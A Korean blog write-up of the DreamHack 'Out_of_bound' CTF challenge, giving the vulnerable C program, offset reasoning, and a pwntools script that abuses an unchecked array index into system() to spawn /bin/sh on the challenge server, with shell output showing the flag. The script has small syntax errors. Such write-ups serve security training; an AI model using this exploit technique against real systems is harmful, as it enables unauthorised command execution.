WriteUp/DreamHack

DreamHack : Out_of_bound

vared 2020. 11. 19. 14:02
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

문자열이 어디에 저장되는지 생각해 보자.

0x804a0ac 에 저장된다.

이제 command 인자들의 주소를 생각해 볼때,

0번쨰 인자를 call 해보자.

idx : 0xf7fb689c

command : eax*4+0x804a060

약 76 떨어진 위치에 있다.

index 는 4 단위로 뛰니까 19 정도로 주면 되나??? 싶다.

값을 참조하는 형태여야 하니까 /bin/sh 앞쪽에는 해당 부분의 주소를 줘야한다.

즉 payload는 다음과 같다.

#ex_oob.py
from pwn import pwntools

p = remote("host1.dreamhack.games", 12213)

//payload 1
pay = ""
pay += p32(0x804a0ac+4)
pay += "/bin/sh"
p.recvuntil("Admin name: ")
p.sendline(pay)

//payload 2 
pay2 = "19"
p.recvuntil("What do you want?: ")
p.sendline(pay2)

p.interactive()
vared@ubuntu:~/hacking/dreamhack$ python ex_oob.py 
[+] Opening connection to host1.dreamhack.games on port 12213: Done
[*] Switching to interactive mode
$ ls
flag
out_of_bound
$ cat flag
DH{-----flag-----}